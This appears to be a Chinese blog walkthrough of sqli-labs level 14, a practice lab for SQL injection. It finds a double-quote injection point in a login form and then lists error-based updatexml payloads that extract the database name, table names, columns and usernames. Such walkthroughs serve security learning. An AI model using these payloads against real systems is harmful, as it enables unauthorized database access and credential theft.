sqli-labs靶场第十四关

目录

1:分析

找闭合符:

2:开始注入

报错注入:

注入数据库名:

注入表名:

注入列名:

注入具体值:


1:分析

        经过我们的实验发现当我们输入的密码后面存在双引号时会报错,由此可以发现注入点在此处。

找闭合符:

当我们输入正确的账号并在后面加上#后,可以成功登录,由此我们可以使用#进行闭合。

2:开始注入

        因为当我们输入的sql语句出错时web界面会将错误爆出来,所以我们可以使用报错注入的方式进行注入。

        在账号输入栏进行注入。

           

报错注入:

注入数据库名:

admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注入表名:

admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

注入列名:

通过观察可以知道最有可能存放敏感信息的表为users表,所以我们将users表的信息注入出来。

admin " and  updatexml(1,concat(0x7e,(select  group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),0x7e),1) #

注入具体值:

        我们已经注入出来了列名,现在我们将username和password注入出来。

admin" and updatexml(1,substr(concat(0x7e,(select group_concat(username) from users),0x7e),1,32),1)#

到此我们就成功的注入了,想要注入其他的值只需要重复上面的操作即可。

             

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-05-11 18:04:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-11 18:04:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-11 18:04:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-11 18:04:01       20 阅读

热门阅读

  1. OceanBase OAT安装

    2024-05-11 18:04:01       12 阅读
  2. 单播、组播、广播

    2024-05-11 18:04:01       9 阅读
  3. PYTHON利用实时交易量智能股票交易系统

    2024-05-11 18:04:01       13 阅读
  4. MYSQL SQL优化思路和方法

    2024-05-11 18:04:01       19 阅读
  5. fastapi数据库连接池的模版

    2024-05-11 18:04:01       15 阅读
  6. D3.js实战:数据可视化高级技巧实例应用

    2024-05-11 18:04:01       16 阅读
  7. idea

    idea

    2024-05-11 18:04:01      15 阅读
  8. postman---认证(Certificates)是什么作用?

    2024-05-11 18:04:01       12 阅读
  9. git命令详解+使用样例

    2024-05-11 18:04:01       17 阅读
  10. 代码随想录训练营Day29:动态规划1

    2024-05-11 18:04:01       16 阅读
  11. 高德地图定位点缩放偏移问题

    2024-05-11 18:04:01       14 阅读
  12. 安卓实现连接wesokcet

    2024-05-11 18:04:01       16 阅读